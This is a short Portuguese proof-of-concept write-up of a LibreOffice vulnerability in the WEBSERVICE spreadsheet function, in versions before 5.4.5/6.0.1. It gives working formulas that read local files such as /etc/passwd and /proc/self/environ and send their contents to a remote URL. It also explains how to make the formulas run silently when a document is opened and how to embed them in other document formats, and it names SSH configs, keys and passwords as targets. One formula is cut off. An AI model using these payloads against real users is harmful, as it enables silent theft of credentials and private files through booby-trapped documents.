
Prova de conceito da vulnerabilidade de divulgação arbitrária de arquivos remotos do LibreOffice
O LibreOffice suporta a função COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
A função é utilizada para obter dados por URL, geralmente usada como:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
No original:
Para protocolos não suportados, como ftp: // ou file: //, a função WEBSERVICE retorna o valor de erro #VALUE!.
No LibreOffice, essas restrições não são implementadas antes das versões 5.4.5/6.0.1.
Por padrão, as células não são atualizadas, mas se você especificar o tipo de célula como ~error, a célula será atualizada ao abrir o documento.
Para ler um arquivo, basta usar:
=WEBSERVICE("/etc/passwd")
Essa função também pode ser usada para enviar um arquivo:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Para que a operação tenha sucesso, você precisa enviar os arquivos do usuário atual, então é necessário obter o caminho da home do usuário atual.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Você também pode interpretar outros arquivos, como um ~/.ssh/config ou algo do tipo.
Para formatos diferentes do LibreOffice Calc, basta incorporar um objeto do Calc em outro documento (eu verifiquei que funciona).
É fácil enviar quaisquer arquivos com chaves, senhas e qualquer outra coisa. Taxa de sucesso de 100%, absolutamente silencioso, afeta o LibreOffice anterior às versões 5.4.5/6.0.1 em todos os sistemas operacionais (GNU/Linux, MS Windows, macOS etc.) e pode ser incorporado em quase todos os formatos suportados pelo LO.
A vulnerabilidade foi encontrada de forma independente por mim (@jollheef) e por Ronnie Goodrich && Andrew Krasichkov (de acordo com as notas da equipe do LibreOffice).